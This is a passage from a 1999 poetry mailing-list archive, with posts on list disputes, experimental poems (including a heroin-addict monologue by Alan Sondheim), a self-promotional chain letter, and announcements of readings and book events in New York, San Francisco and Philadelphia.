Second Prize ($100).....Leigh Hunt.....Gig Harbor, WA
..... "Home Invasion"

--

Jerry McGuire
Director of Creative Writing
English Department Box 44691
University of Southwestern Louisiana
Lafayette LA 70504-4691
[redacted]

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421. **Michael Neff**
Re: A crown of iron
Mon 27 Sep 1999

KENT JOHNSON wrote:

> *In response to a post I called "The sound of drums," Michael Neff has written to tell me of his surprise at my "quick about face." I believe my implied other face must be pinned to a post I put up a few days ago, one that contained a reference to David Hume and ended with a statement about my complete agreement with Michael's position on East Timor. Since the intended tone of that first rebuttal did not register with him, I am thinking that others on the List may have taken it wrongly too. So, for what it's worth (and to keep my left-wing credentials before the List intact) I wanted to say-- That post about my agreeing with Michael Neff WAS SUPPOSED TO BE IRONIC.*
>
> *Yes, I hate US imperialism, am one of those old fogeys who believes its existence is as real as rocks, and I wanted to make that conviction crystal clear, since irony, apparently, is failing me, along with other things in my body these days. And I wish Web del Sol and its editors the best of luck as they continue to spread the gospel of neo-liberal innocence and beneficence far and wide. May the sun never set on the empire of American poetry.*
>
> *Kent*

You're posturing Kent, and thus, bereft of reason and memory, two critical elements for clear headed thought. You have my sympathy, old dear.

Mike

↑ Index

422. **Philip Nikolayev**
AMERICAN FARMERS VISIT A RUSSIAN COLLECTIVE FARM
Mon 27 Sep 1999

AMERICAN FARMERS VISIT
A RUSSIAN COLLECTIVE FARM

oh how madly how verdantly flamboyant
yanks came hardening with bottles of rum
and how we all rolled to nowhere
for hours as one ball
fraternizing through rough conversation

as cultural exchange
and then flam in comes the moment
of sparse generosity unleashed
tangentially upon a garden of sham
sheep as they clamber
out of their own silhouettes
s’as to raise another
through a silk in the sky
to the human mowers
and this now a different place
with a different people
and to gain velocity here is not again
problematic because
the sheep are as against the section cars
and the section cares are as against the cattle
as one to three
cool bovine quadrupeds
and then hip zip take me out of here
to the nearest brickhouse
so I can hiccup
and take me under the water
for a few minutes
but make sure I can fill my lungs with air
or else you’ll drown me

↑ Index

423. Philip Nikolayev
INSECTS
Mon 27 Sep 1999

INSECTS

Moonmoth and grasshopper that flee our page...
Hart Crane

as electric cicadas hidden in the leaves
twer twer twer
produce magnificent trilling the unblotched
river flows god knows
where
to be or not to
does not even arise on the curbs
mightily little is done to investigate

the linden litters
of recollection
swoosh swoosh swoosh
but nothing else becomes bats
brother hang me your
pattern namer
upon the barque lend two swell
wet towels of sand and lets
become indefenestrable
in the grass
in the leaves

↑ Index

424. Philip Nikolayev
FORGIVING
Mon 27 Sep 1999

FORGIVING

raw feeling chanceries
are becoming like turf of mine
and I have them
stretched against the telephone wires
often wondering & leafing
how mortibles are gone
and then there is nothing
nothing at all but the rouge
imperializing
to pound or not to pound
and suddenly there’s like a snake
going down into your borscht
and you munch it’s nothing
taking it from there
then some more arrive
with the same surface of the chair
and there’s a fire extinguisher that shakes
white permafroth all over the tiger lilies
and again a lack of recognition is taking
a bite out of your operatic biscuit
but it lends
a hand to the lignum of criticism
then there is nothing but lilies
in cobalt Nantucket

a harvest by the sea
a dacha of timorous
drops of saltfish on sugar
you're ready to forgive everything

↑ Index

425. justice4all
STOP INTERNET CHAIN LETTERS!!!
Mon 27 Sep 1999

BUT NOT UNTIL AFTER YOU PASS THIS ONE ON TO EVERYONE YOU KNOW!!!

http://members.aol.com/justicewrtr/justice4all/main.htm

Mr. President and fellow writers:

It has long been one of my goals to write and publish a novel. Well, the writing part (and rewriting part, and rewriting one more time) is done, and now the publishing part begins.

In reading up on the publishing industry and looking at the technology available, I have decided to try to market my book electronically while I seek an agent and a traditional publisher. This has the advantage of (hopefully) making me some money now, and developing a following for my work which might help to attract a traditional publisher.

My novel is a murder/mystery story entitled Justice For All. In order to market it online, I've created a web site where readers can find out a little about the book, and even read the first few chapters. The web site also offers readers a chance to order the complete novel, delivered to them in electronic form via email.

Of course, as with all web-based enterprises, the key is to create traffic to the site, and that's where I hope you'll help me. Please visit the site and check out my story. Then, pass this letter along to friends, relatives and others who like to read, encouraging them to visit as well.

With your help, I can get this thing off the ground, and hopefully attract the attention of an agent and traditional publishers. With lots of work and lots of luck, you'll soon see my book at a bookstore near you.

Visit and send your friends to the site today!

http://members.aol.com/justicewrtr/justice4all/main.htm

Thanks for your help!

Philip Middleton

PS: If this letter offends you in any way, I apologize. Please disregard.

---------- Get free email from CNN Sports Illustrated at http://email.cnnsi.com/

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426. **Jim White**
Re: Winners-Deep South Writers Conference Contest
Mon 27 Sep 1999

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do check out our new web site at : www.americanartists.org thanks jim white

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427. **Lawrence Upton.**
Writers Forum
Mon 27 Sep 1999

Interested in hearing from anyone who can supply URLs to reviews of Writers Forum publications or articles etc about Writers Forum

The text or OCRable copy of such reviews and articles are also welcome where you have the copyright and are willing for it to be reproduced on the growing Writers Forum website

L

The Sub Voicive Poetry website:
http://www2.crosswinds.net/members/~subvoicivepoetry/

Lawrence Upton's website:
http://members.spree.com/sip/lizard/index.htm

RWC
http://members.tripod.com/~ReadandWrite/contents.html

Writers Forum
http://www2.crosswinds.net/members/~writersforum/

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428. Alan Sondheim

Lauren

Mon 27 Sep 1999

-(

Lauren

I've got a hole for you. I want to put it in everywhere. I dream of need- les, do you know that? There are tracks all over me, not just my arms. You might think I'd know better, but I like them. They scar me, show you where I've been.

I love wearing my flaws. You can see right through me but I know it and that's more than a lot of people know.

/* but begging. but really wanting it. but wanting nothing more than it. but wanting it more than anything in his life. but dreaming and living the wanting of it. but unable to sleep for the wanting of it. but unable to drink for the wanting of it. unable to eat for it. but doing only the wanting of it. but others. but others noting wasting away, others wasting away. her for the wanting of it. unable to work, this writing for the wanting, speaking for the wanting. the boring of others, boring others. for the desire, for the wanting of it. the hunger the thirst of it. the exhaustion of it. the drug the addiction the obsession the compulsion of it. the drive the instinct of it. for the wanting of it. his for the wanting. want her. */

Do I want it, do I need it? Of course I need it. Everything's so simple and as Lauren said, if you don't know how terrific heroin can be you don't know anything.

It's all about your knowledge, not mine.

But I don't need all that much else, you know. And that's way ahead of you and most other people. It drives things towards a point and that point can be a good time. No one even thinks about good times any more. You have to take a breath to do that. I hold my breath when I shoot up. Like you can have it.

It's not just that though. I've got better friends than you ever will. They'll all betray me in the end. But there's a pull in the world, I seem to be the only one that understands that. Again it's the knowledge thing - only an addict has knowledge of any sort. Once you understand that, you might understand everything, but you're still not smart.

I'm always thinking below the surface. I have enough money to buy the stuff so it's never a question, say, of Lauren out on the streets looking for it. It's right there, in the cabinet; I can get it when I need it. The need is good, it's easy to fulfill - just like that. Teleology grinds to a halt several times a day, with a kick.

Some people find this stuff false, a false kick. But if the receptors are there, if it works, what's the problem? It's nature finding nature, desire fulfilled as I said. And the knowledge is incredible. I can see the sky!

Was it Odin, now it's me, sacrificing myself to myself? It's that, what I can do, what I can achieve, look, I can't run a mile or climb a mountain, but I can learn from this stuff, you wouldn't believe it. And what I've learned doesn't fit in any books.

It's strange also because we're all addicts of course, just some of you haven't found your thing. It's like a lure or teleology that insists on being just out of reach, carrot on a stick kind of thing, and so you rant uselessly, run around uselessly, as if this and that make a difference. But difference only comes from One minus Zero so to speak, and the One can be heroin, and the Zero can be the rest of the world, everything else.

Why do they call it substance abuse? It's the enhancement of substance, the real recognition of the power inherent in things. And the self comes to fruition around this. I know that, I can feel it in my bones, my soul. These substances were made for a reason. And there's the physical effect and the mental effect, and different sorts of addictions all over the place. But it's worth it for the physical effect. If you're set up, like I am.

What you're looking at is a habit. I'm a habit, even to myself I'm a hab- it. That makes me simple and likeable. People understand all my surfaces; they can't touch anything else but that. And I can fashion them, polish them - I can shine like a star anytime I want.

I love feeling the hunger, love wanting it. It's like computers, but I don't have to deal with other people and their desires. Call it modernism against your post-modernism, or the self against alterity; the drug's not alter at all, it's heroin my lover, it's heroin my best friend. And the wonder and knowledge of that is unbelievable.

Do you know I can sing? You've probably never heard me sing. Someday I'll sing for you, even now. You can stand a little? You might like this. There's a record I use for background, like karaoke. Just a second. Let me know what you think.

Obvious exits: [root] to your darkness
Last connected Sun Sep 26 22:08:36 1999 MET DST from 166.84.1.68
#$#mcp version: 2.1 to: 2.1
Name Connected Idle time Location
---- --------- --------- --------
Lauren (#934) 8 seconds 0 seconds Bodee

Total: 1 person, who has been active recently.

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429. **Joe Amato**
Re: It was 20 years ago today...
Mon 27 Sep 1999

hey folks, been a while... trying to get things together here in colorado... so far it's been going fine, kass and i are settling in some...

note my new address, as above: [redacted]

ron s. and david b: i was at a humanities institute conference at suny/stony brook march of last year, at which judith barry was also one of the presenters... i think it fair to say we both felt a certain empathy for what the other was up to, presentation-wise... as i recall, judith now lives in the city, on spring street...

i've been tempted to jump into SO many threads these past few months---but have had neither the calories nor the hardware to participate on a sustained basis... i'm still struck by the level of heat in these regions, though i can understand why east timor (e.g.) or editorial practices (e.g., and a touch of zeugma here, sure) can elicit such a flurry of impassioned responses... w/o articulating my own position on these (and other) issues (which wouldn't be to the point, latecomer that i am), i guess i have to observe that the the best and the worst of the list seems most incipient at these moments... i'll leave it to each of you to tease out the implications here, or plain ignore them (!)... but personally, i think it's a mistake to take for granted the nature of the exchange (if that's what it is) that's going on here, and that might go on here...

that said, i imagine this space/event mself, based on what i know of its history, as a relatively left-of-center, non-mainstream conjunction, both politically and aesthetically... that is, this is how i come to "poetics@," even if there has often been a resistance expressed hereabouts wrt correlating the aesthetic too directly with the political... in all, this list seems to me (to me) politically informed and aesthetically savvy, but at times somewhat lacking when it comes to more bracing confrontations with broader configurations of the real (i'm struggling here to characterize things, you can tell---so a pinch of salt, please)... anyway, it's important to note that there are nonetheless differences possible within all conjunctions (urban, pastoral, socialist, gregorian), and also that a failure to "read" any conjunction as such will undoubtedly result in misunderstandings, jihad, etc. (albeit the latter are always possible in any case)...

i mean, it takes time to come to grips with the somewhat fluctuating presence of this collective, no?...

well so... looks like the first snow of the season tonight in the denver/boulder area, BRRRRRR...

best,

joe

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430. Katherine Lederer
D-double H-h-happiness
Mon 27 Sep 1999

The first reading is coming straight up -- October 2nd, our s-s-smash-'em-up kick-off!

Segue @ Double Happiness October, November readings Saturdays from 4:00 to 6:00 pm. Please take careful note of the time.Readings begin punctually. D-double H-h-happiness is located at 173 Mott Street, just south of Broome. A 4$ contribution goes to the readers. Doors will open at 3:30 for those who want to start drinking and schmoozing early. Coordinators for this series are Katherine Lederer and Lee Ann Brown (Oct/Nov), Charles Borkhuis (Dec/Jan), Brendan Lorber (Feb/March), Kristin Prevallet and Prageeta Sharma (April/May). Continuing support of this series is provided by the Segue Foundation. Funding is made possible by support from the Literature Program of the New York State Council on the Arts.

October 2: Lisa Jarnot, Rod Smith, Renee Gladman Lisa Jarnot's second collection of poems, Ring of Fire, is forthcoming from Zoland Books. She currently lives in New York, where she is writing a biography of Robert Duncan. Rod Smith is the author of Protective Immediacy (Roof, 1999) and In Memory of My Theories (O Books, 1996). He edits Aerial & publishes Edge Books in Washington, DC. Renee Gladman lives in San Francisco, where she edits Clamour, and Leroy, a chapbook series. She is the author of Arlem (Idiom Press) and Not Right Now, (Second Story Books). Juice, a collection of prose work, is forthcoming from Kelsey St. Press.

October 9: Lynn Dreyer, Caitlin Grace McDonnell Lynn Dreyer lives in Falls Church, Virginia and works as a recreation therapist. Her books include Stampede (Eel Press), LAMPLIGHTS USED TO FEED THE DEER (Some of Us Press), and The White Museum (ROOF). Her work has appeared in The Moving Borders anthology and in In the American Tree. Caitlin Grace McDonnell received her MFA in Poetry from NYU as a New York Times Fellow. Poems are forthcoming in Grand Street. She lives in New York City, where she teaches at LIU and at Teachers & Writers Collaborative.

October 16: Matt Rohrer, Edmund Berrigan Matt Rohrer grew up on Oklahoma. He is the author of A Hummock in the Malookas (W.W. Norton) and is one of the poetry editors for Fence. Eddie Berrigan is the author of Disarming Matter (Owl Press, 1999). He edits LOG Magazine (with Noel Black), and is currently at work putting together a volume of the late Steve Carey's poetry.

October 23: Carla Harryman, Alystyre Julian Carla Harryman is the author of ten books of prose, plays, poetry and essays including a novel, The Words: after Carl Sandburg's Rootabaga and Jean-Paul Sartre (O Books, Berkeley, 1999) and a volume of new and selected prose, There Never Was a Rose Without a Thorn (City Lights, 1995). She is currently working on a second novel, Gardener of Stars, and is engaged in the restaging of a chamber opera. She lives and teaches in Detroit. Alystyre Julian is a poet and yoga teacher who lives in NYC. She has collaborated on a short film with Lee Ann Brown and has work in the current Chain.

October 30: Peter Culley, Jennifer Moxley Peter Culley is author of 21 (Oolichan), Natural History (Fissure), Climax Forest (Leech Books), and forthcoming Snake Eyes. He lives in South Wellington, Vancouver Island, British Colombia. Jennifer Moxley is a poet, translator and editor. She is the author of Imagination Verses and several chapbooks, the most recent of which is Wrong Life (Cambridge, UK. Equipage). Presently she lives in Maine.

November 6: Eric Giraud, Lisa Lubasch Eric Giraud was born in 1966. He lives in Marseille and has published a chapbook (Cliches). marcel, a full-length work, is to be published this year. He translates American and English poetry with Holly Dye. Lisa Lubasch's first book of poems How Many More of Them Are You? is just out from Avec Books. Her work has appeared or is forthcoming in An Avec Sampler 2, Boulevard, Explosive,The Hat, Fence, Volt, and others.

November 13: Martin Corless-Smith, Kevin Larimer Martin Corless-Smith is from Worcestershire, England. His first book Of Piscator was published by University of Georgia Press. His second, The Garden a Theophany. Or ECCOHOME: A Dialectical Lyric was published by Spectacular Books. A chapbook based on a translation of Lucretius' De Rerum Natura recently came out from 811 Books. Kevin Larimer's work has appeared in Explosive Magazine, The Iowa Review, and Skanky Possum. He lives in New York City.

November 20: Erica Hunt, Caroline Crumpacker Erica Hunt's books include Local History (Roof), Arcade (Kelsey Street Press). She has a book forthcoming from Carolina Wren Press. Caroline Crumpacker is one of the poetry editors for Fence and works currently as the Managing Director of the Poetry Society of America. Her work has appeared in Seneca Review, Third Coast, and Provincetown Arts.

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431. David Dowker
The Alterran Poetry Assemblage #4
Tue 28 Sep 1999

ANNOUNCING: the opening installment in the projected multi-screen timed-release (from here to the end of the year) of

(((((((((THE ALTERRAN POETRY ASSEMBLAGE)))))))))

#4 - Lissa Wolsak, Alan Halsey, Stephen Ellis, David Dowker,
Meredith Quartermain, Carrie Etter, Spencer Selby,
Sheila Murphy, Bill Luoma...

new location --> http://members.home.net/alterra/

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432. Jill Stengel
reading announcement, sf
Tue 28 Sep 1999

synapse: second sundays at blue bar

--presents--

a reading with dana teen lomax and lisa lubasch
october 10, 2 p.m.

blue bar is at 501 broadway, at kearney, in sf
enter thru black cat restaurant, same address

admission is $2

Writing teacher, artist-in-residence, bodyboarder, and award-winning writer Dana Teen Lomax has been published in Coracle, Inscape, Outlet, The SF Bay Guardian, Transfer 76, Tripwire, and yefief. Lomax, who lives in Pacifica, CA, also produces and acts in LINK, an event featuring experimental and collaborative performance. Room (a+bend press, 1999) is her first chapbook.

Born in 1973 in New Rochelle, New York, Lisa Lubasch currently lives and teaches in New York City. She is the author of How Many More of Them Are You?, newly released from Avec Books. Her work can also be found in An Avec Sampler 2, Boulevard, Explosive, Fence, The Hat, Verse, and Volt; and she has a chapbook forthcoming from a+bend press.

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433. Richard Frey

Yolanda Wisher at NOTcoffeeHouse 2125 Chestnut 10/3 at 1 pm

Tue 28 Sep 1999

(NOTcoffeeHouse) Poetry and Performance Series Featured reader: Yolanda Wisher was born and raised in the ëburbs of North Wales, PA. She received a bachelor's degree in English and Black Studies from Lafayette College in Easton, PA, where she was awarded the Gilbert Prize for superiority in English and The Macknight Black Senior Poetry Prize. Wisher is a currently pursuing her master's degree in English/Creative Writing at Temple University where she is a Future Faculty Fellow. In 1999, she was named the first Montgomery County Poet Laureate. She is also a fellow at Cave Canem, a workshop retreat for African-American poets.

Wisher's poetry has appeared in Aya Literary Publication, The Sonia Sanchez Literary Review, and the American Poetry Review's Philly Edition. Open Poetry and Performance Showcase Sun., Oct. 3, 1 pm First Unitarian Church 2125 Chestnut Street Along with a live poetry reading and performance , we invite you to join in our website poetry reading presentation. All poets and performers may have a poem or a lyric featured in theNOTcoffeeHouse website. Send you work for inclusion in the ongoing internet presentation. Tell your friends all over the world to check our site! --N. B. We are having some trouble keeping the site together-patience please. Poets and performers may submit works for direct posting on the website via email to the [redacted] or works may be emailed to Richard Frey at [redacted] or USPS or hand-delivered through slot at 500 South 25th Street, Philadelphia, PA 19146. More information: Church office, [redacted], Jeff Loo, [redacted] or Richard Frey, [redacted]. Visit our website at www.notcoffeehouse.org poets & performers previously appearing at NOTcoffeeHouse: Nathalie Anderson, Lisa Coffman, Barbara Cole, Barb Daniels, Linh Dinh, Lori-Nan Engler, Simone Zelitch, Dan Evans, Brenda McMillan, Kerry Sherin, John Kelly Green, Emiliano Martin, Jose Gamalinda, Toshi Makihara, Thom Nickels, Joanne Leva, Darcy Cummings, David Moolten, Kristen Gallagher, Shulamith Wachter Caine, Maralyn Lois Polak, Marcus Cafagna, Ethel Rackin, Lauren Crist, Beth Phillips Brown, Joseph Sorrentino, Frank X, Richard Kikionyogo, Elliott Levin, Leonard Gontarek, Lamont Steptoe, Bernard Stehle, Sharon Rhinesmith, Alexandra Grilikhes, C. A. Conrad, Nate Chinen, Jim Cory, Tom Grant, Gregg Biglieri, Stephanie Jane Parrino, Jeff Loo, Theodore A. Harris, Mike Magee, Wil Perkins, Deborah Burnham, UNSOUND, Danny Romero, Don Riggs, Shawn Walker, She-Haw, Scott Kramer, Judith Tomkins, 6 of the Unbearables - Alfred Vitale Ron Kolm, Jim Feast, Mike Carter, Sharon Mesmer, Carol Wierzbicki-,John Phillips, Quinn Eli, Molly Russakoff, Peggy Carrigan, Kelly McQuain, Patrick Kelly, Mark Sarro, Rocco Renzetti, Voices of a Different Dream - Annie Geheb, Ellen Ford Mason, Susan Windle - Bob

Perelman, Jena Osman, Robyn Edelstein,Brian Patrick Heston, Francis Peter Hagen, Shankar Vedantam

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434. Pritchett,Patrick

publication announcement

Tue 28 Sep 1999

R E S I D E
Patrick Pritchett

Dead Metaphor Press
Boulder, CO

RESIDE offers a series of extended meditations on the themes of embodiment, loss, and inscription. Starting from Heidegger's observation that, "Language is the house of Being," these poems explore how we build locations in language. Concerned with both the Saying of the human and its continual erosion, they seek to negotiate the anxiety about form through the body of the poem itself.

RESIDE also alludes to the Hebrew letter, Beit, which in Judaism signifies the immanence of presence. Interrogating the structure of the elegaic, these poems ask, "How may we build enduring habitations for spirit in the midst of our ongoing loss? How does the poem act as both dwelling place and point of departure?" _____

"Patrick Pritchett's work is distinguished both by an emotional seriousness and by a sensuous elegance of sound. He communicates with real finesse the pressure and the nobility of the vocation of poetry."

-- Rachel Blau DuPlessis

"Rooted in the body, Pritchett's poetry extends that body until its limits become (con)fused with the limits of meaning and with the body of language ... it's a body propagated by fire into an entire world - a world that is ... the very room we live in ... charged with a flickering, shifting sense of the sacred uniting these disparate things into a single force. And what a force it is - both beautiful and astonishing."

-- Cole Swensen

Patrick Pritchett is the author of _Ark Dive_ and _Reside_. His poems have appeared in New American Writing, Rhizome, River City, Antenym, Bombay Gin, and Prairie Schooner, among others. His book reviews have been published in the _Thus Spake The Corpse_, American Book Review, Witz, Jacket, 6ix, and

The Poetry Project Newsletter. He is a contributing editor for the poetry journal Facture.

RESIDE: Sedona Red cover, black endpapers,
saddle-stapled, 40 pages, $5.00

TO ORDER, CONTACT:

Richard Wilmarth
Dead Metaphor Press
P.O. Box 2076 Boulder, CO
80306-2076
[redacted]

OR:

Small Press Distribution*
www.spd.org
1341 Seventh Street
Berkeley, CA 94710-1409
[redacted]

*(should be available from SPD by beginning of next week).

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435. James Brook
october events @ city lights bookstore
Tue 28 Sep 1999

Many book events are scheduled for October at City Lights Bookstore--even though the building is still under (re)construction (there's a long-needed earthquake retrofit underway).

Of special interest--in my opinion, at any rate--are two books that look at the Bay Area from oblique angles. Neither book is what you would call celebratory: Gloria Frym's new book of stories, Distance No Object (Oct. 3), and Gray Brechin's Imperial San Francisco: Urban Power, Earthly Ruin (Oct. 20), which looks at cities as the vortex of extractive industries.

--J.

October Events
@
City Lights Bookstore

All events are free and open to the public.

All events take place at

City Lights Bookstore
261 Columbus Avenue
San Francisco, CA 94133
[redacted]
http://www.citylights.com

Friday, Oct. 1, 7 p.m.

Lotería Cards and Fortune Poems: A Book of Lives
Linocuts by Artemio Rodríguez
Poems by Juan Felipe Herrera
Published by City Lights Books

Come celebrate with us the release of Lotería Cards and Fortune Poems, the linoleum-cut prints of talented Mexican artist, Artemio Rodríguez, paired with the poetry of the fine Chicano poet, Juan Felipe Herrera. Based on lotería, a popular game of chance from colonial Mexico, the images are masterful reinterpretations of traditional iconography, as seen by an artist new to the United States.

Lotería Cards and Fortune Poems gives a contemporary twist to a rich folk tradition. Rodríguez and Herrera offer a seamless union of word and image, and of Mexican and Chicano sensibilities.

Juan Felipe Herrera will do a performative reading, accompanied by musicians. Slides of Artemio Rodríguez's work will also be shone.

Sunday, Oct. 3, 4 p.m.

Distance No Object
By Gloria Frym
Published by City Lights Books

Come join author Gloria Frym to celebrate the publication of her second book of short stories. In Distance No Object, Gloria Frym turns her ironic, passionate gaze to post-Vietnam Berkeley

and San Francisco. Private lives are still swept along by the currents of history, as in the sixties. But the names of the wars of have changed. . . . The stories of Distance No Object evoke the deep frustrations between generations, friends, neighbors, and races. Yet civility, quotidian justice, a common language, and new love are imagined. . . .

Gloria Frym's previous books include How I Learned, By Ear, Back to Forth, and Impossible Affection.

Wednesday, Oct. 13, 7 p.m.

Honk if You Love Aphrodite
By Daniel Evan Weiss
Published by Serpent's Tail Press

Acclaimed author of The Roaches Have No King and The Swine's Wedding, Daniel Evan Weiss reimagines Homer's Odyssey as set in contemporary Brooklyn. Described as "abundantly funny, exhilaratingly cynical" by Fay Weldon and the "Evil Knievel of novelists" by Newsday, Weiss takes us on an epic quest for love in the boroughs of the Big Apple.

Come hear David Evan Weiss read from Honk if You Love Aphrodite.

Monday, Oct. 18, 6 p.m.

Bookstore: The Life and Times of Jeannette Watson and Books & Co.
By Lynne Tillman
Published by Harcourt Brace

From 1977 to 1997 Books & Co. was one of the premier independent bookstores in the country. Stocking a wide range of fiction and nonfiction, the Madison Ave. bookstore was the kind of bookstore writers and readers dream about: a place where reading was an adventure, where interesting works would always be available,

where writers would congregate to share ideas and discuss their writing. In Bookstore, Lynne Tillman tells the story of this legendary bookstore and its founder, Jeannette Watson, through the voices of employees, customers, writers, fellow booksellers, and people throughout the world of publishing.

Jeannette Watson will speak about Bookstore and her remarkable career.

Wednesday, Oct. 20, 7 p.m.

Imperial San Francisco: Urban Power, Earthly Ruin
By Gray Brechin
Published by University of California Press

Local urban geographer and coauthor of Farewell, Promised Land: Waking from the California Dream, Gray Brechin offers a myth-shattering reevaluation not only of the city by the Golden Gate but of urbanization itself in a saga that extends from the rise of ancient Rome to the founding of Washington, D.C., to the nuclear destruction of Hiroshima.

Gray Brechin will speak and sign copies of his books.

Thursday, Oct. 21, 7 p.m.

Two new books by William L. Fox--

Mapping the Empty: Eight Artists and Nevada
Published by University of Nevada Press
&
Driving by Memory
Published by University of New Mexico Press

William L. Fox is literature consultant for the Western States Arts Federation, a poet and writer, an arts consultant, and a curator. He has published poems and articles in sixty magazines and he has had thirteen collections of poetry published in three countries. He is the author of

several exhibition catalogues and the editor of two anthologies.

Mapping the Empty relates the unique work of eight Nevada artists to the geography of their state. Driving by Memory is a meditation on driving in the desert. It is a profoundly personal book about the most public of subjects: life in the postmodern West at the end of the millennium and what the cities, the freeways, the open spaces, and the billboards tell us about ourselves.

William L. Fox will be on hand to sign copies of his new books.

Sunday, Oct. 31, 5 p.m.

The Vampire Lectures
By Lawrence Rickles
Published by University of Minnesota Press

Things get spooky in cultural studies on Halloween! The Vampire Lectures is based on the course that Lawrence Rickles has taught for several years at the University of California, Santa Barbara. Rickles gives undead history of vampirism in legend, literature, and film. The Vampire Lectures makes an original and intellectually rigorous contribution to literary and psychoanalytic theory as Rickles identifies the subconscious meanings, complex symbolism, and philosophical arguments--particularly those of Marx, Freud, and Nietzsche--embedded in vampirism and the gothic.

Come meet Lawrence Rickles before the lights go out!

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436. Poetry Project
Ferlinghetti, Sanders & others
Tue 28 Sep 1999

One week from today

Tuesday, October 5th at 8 pm

Lawrence Ferlinghetti & Edward Sanders read at the Poetry Project

Yes, that's Lawrence Ferlinghetti of A Coney Island of the Mind and A Far Rockaway of the Heart, and the man who was dragged to court in the 1950s on obscenity charges (he was acquitted) for daring to be the first to publish Allen Ginsberg's _Howl_ through City Lights Publishing House (of which he is the co-founder).

And yes, that's Edward Sanders, the founder of the Fugs and the author of 1968: A Year in Verse, Tales of Beatnik Glory, and, his newest project, America, a History in Verse, Volume I (1900-1939), forthcoming from Black Sparrow this fall.

Lawrence Ferlinghetti will be interviewed live at WNYC the same Tuesday from 1:15-1:45 pm by Leonard Lopate--that's 820 on your AM dial. Ferlinghetti reads very rarely on the East Coast, and this is a very rare chance to see him in NYC. Door sales only

Please note that this reading is on a Tuesday (NOT Wednesday)...

And other upcoming readings

Monday, October 4th, first open-mike of the year, sign-up at 7:30 pm, reading at 8 pm.

Friday, October 8 at 10:30 pm

Po'Jazz, an evening with Golda Soloman, the founder and leader of the poetry-jazz group Po'Jazz, writer-journalist Gerthie Owtram, and musicians.

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437. Lowther, John
Email for Rick Snyder
Tue 28 Sep 1999

anyone got it ?

rick is the d. of _cello entry_
and author of _blueprint_ [811 books]

thanx

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438. jocelyn saidenberg

SPT's 5th Annual Literary Soirée and Auction and 25th Anniversary Celebration

Tue 28 Sep 1999

Silver Streak
Small Press Traffic's 5th Annual
Literary Soirée and Auction and 25th Anniversary Celebration

celebrities, gourmet food, readings, music,
Poets' Theater, raffle, live auction, tarot readings, and more

Saturday, October 2, 2-10 p.m.
New College Cultural Center and Theater
766 & 777 Valencia Street, San Francisco (between 18th and 19th)
Sliding scale: $10 Š $20 Š $50 Š
(We wouldn't even turn down $1,000!)

25 Writers/25 Years A Group Reading and Salute to Small Press Traffic's Founders with Beau Beausoleil, Dodie Bellamy, Taylor Brady, David Bromige, Avery Burns, Norma Cole, Adam Cornford, Steve Dickison, Kathleen Fraser, Gloria Frym, Susan Gevirtz, Robert Glück, Jack Hirschman, Edith Jenkins, Joyce Jenkins, Denise Kastan, Jim Mitchell, Yedda Morrison, Travis Ortiz, Jocelyn Saidenberg, Leslie Scalapino, Aaron Shurin, giovanni singleton, Mary Margaret Sloan, Octavio Solis

Group Reading 2:00 o Cocktail Party/Auction Preview 4:00 o Live Auction 5:30 o "Three on a Match" 7:00 o Raffle Drawing 8:00 o Continuous Entertainment, Food, Cash Bar

Call [redacted] for information and reservations. Reserve your tickets
by September 30 and receive 3 bonus raffle tickets.
Walk-ins also welcome.

ENTERTAINMENT

Music by:
Darren Sweet Angelmouth, performer extraordinaire
Andrew Klobucar, Canadian improvisations
Plain, San Francisco's premier art-rock band (Cliff Hengst, Scott Hewicker, Rex Ray, Wayne Smith)

Poets' Theater, "Three on a Match," Kevin Killian's expose of the mysterious weekend in 1994 when Vincent Price. River Phoenix and Federico Fellini all died on the same day, while Nancy Kerrigan and Tanya Harding battled for Olympic glory in Lillehammer.

Mark Ewert, tarot reading

AUCTION
The day's events will include a manuscript auction of original pages--signed poems, broadsides, memorabilia, correspondence, works-in-progress--by
Kathy Acker/S Clay Wilson
Dario Argento
Daisy Ashford
John Ashbery/Joe Brainard
Paul Auster
Clive Barker
Djuna Barnes
Edmund Berrigan/Will Yackulic
Robin Blaser
Paul Bowles
Gwendolyn Brooks
John Cage
Anne Carson
Barbara Cartland
Jackie Chan
Robert Creeley
C Day Lewis
Samuel R. Delany
Don DeLillo
Carla Harryman/Amy Trachtenberg
'Tippi' Hedren
D H Lawrence
Norman Mailer
Bernadette Mayer
"Mini-Me" from Austin Powers 2
Harryette Mullen
Michael Ondaatje
Harold Pinter
Tom Raworth
Anne Rice
Adrienne Rich
Salman Rushdie
May Sarton
Danielle Steel
Gore Vidal
Bill Viola
Kurt Vonnegut, Jr.
Louis Zukofsky

and many, many more.
We thank these writers and artists for donating so many materials to our auction.

RAFFLE
$1 per ticket/6 tickets for $5
Your chance to win big from a long list of glittering prizes! We thank the following firms and individuals for providing the raffle items:

Donald M. Allen
Avec Books
Beautiful Futures Now
Down Home Music
Granary Books
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↑ Index

439. **Thomas Bell**
Re: The POETRY INTO FILM Competition
Tue 28 Sep 1999

---

pete,

any information on obtaining rea's work would be appreciated. I became interested in her work after seeing the vector poems in _Point of View_ and translating her brief piece in _sic (http://www.sicmagazine.com). Yes, I think you should send your films in even if they won't understand it.

tom bell

pete spence wrote:
>
> >
> >Announcing the first ever POETRY INTO FILM competition sponsored by Web Del
> >Sol, a co-sponsor of the First Annual Literary Arts Film Awards to be held
> >in New York city at the National Arts Club.
>
> maybe i should send the twenty short films where i have animated many of our
> contemporary visual poets works, people like rea nikonova /carol stetser/and
> many others//pete spence
>
> _____
> Get Your Private, Free Email at http://www.hotmail.com

--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

↑ Index

440. George Bowering
Re: Langwitch poets
Tue 28 Sep 1999

You mean to say that Leonard Cohen is a L=A=ETC poet? Jeeze.

George Bowering.

,

fax: [redacted]

↑ Index

441. Rachel Loden
I can't believe it!!!
Tue 28 Sep 1999

This got lost in the ether last week . . .

Aldon Nielsen wrote:

> *Did anybody else see the video of Wiranto singing "Feelings"? Ranks right up there with the Marcos version of "We Are the World." and what tune is Clinton singing today?*

When I spent a night in the Tombs (legendary NYC jail), I especially enjoyed the Muzak version of "Blowin' in the Wind."

Rachel

↑ Index

442. John Tranter
Announcing Jacket # 8
Tue 28 Sep 1999

